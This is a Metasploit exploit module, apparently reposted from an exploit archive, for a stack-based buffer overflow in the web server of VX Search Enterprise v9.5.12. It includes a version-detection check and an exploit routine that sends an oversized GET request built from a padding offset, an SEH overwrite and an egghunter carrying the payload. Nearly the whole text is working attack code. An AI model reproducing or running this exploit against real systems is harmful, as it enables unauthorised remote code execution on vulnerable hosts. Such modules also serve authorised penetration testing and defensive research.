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VX Search Enterprise GET Buffer Overflow

Posted on 23 May 2017

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Seh
include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'VX Search Enterprise GET Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability
in the web interface of VX Search Enterprise v9.5.12, caused by
improper bounds checking of the request path in HTTP GET requests
sent to the built-in web server. This module has been tested
successfully on Windows 7 SP1 x86.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Daniel Teixeira'
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "x00x09x0ax0dx20x26",
'Space' => 500
},
'Targets' =>
[
[ 'VX Search Enterprise v9.5.12',
{
'Offset' => 2488,
'Ret' => 0x10015ffe # POP # POP # RET [libspp.dll]
}
]
],
'Privileged' => true,
'DisclosureDate' => 'Mar 15 2017',
'DefaultTarget' => 0))
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/'
)

if res && res.code == 200
version = res.body[/VX Search Enterprise v[^<]*/]
if version
vprint_status("Version detected: #{version}")
if version =~ /9.5.12/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Detected
end
else
vprint_error('Unable to determine due to a HTTP connection timeout')
return Exploit::CheckCode::Unknown
end

Exploit::CheckCode::Safe
end

def exploit

eggoptions = {
checksum: true,
eggtag: rand_text_alpha(4, payload_badchars)
}

hunter, egg = generate_egghunter(
payload.encoded,
payload_badchars,
eggoptions
)

sploit = rand_text_alpha(target['Offset'])
sploit << generate_seh_record(target.ret)
sploit << hunter
sploit << make_nops(10)
sploit << egg
sploit << rand_text_alpha(5500)

print_status('Sending request...')

send_request_cgi(
'method' => 'GET',
'uri' => sploit
)
end
end

 

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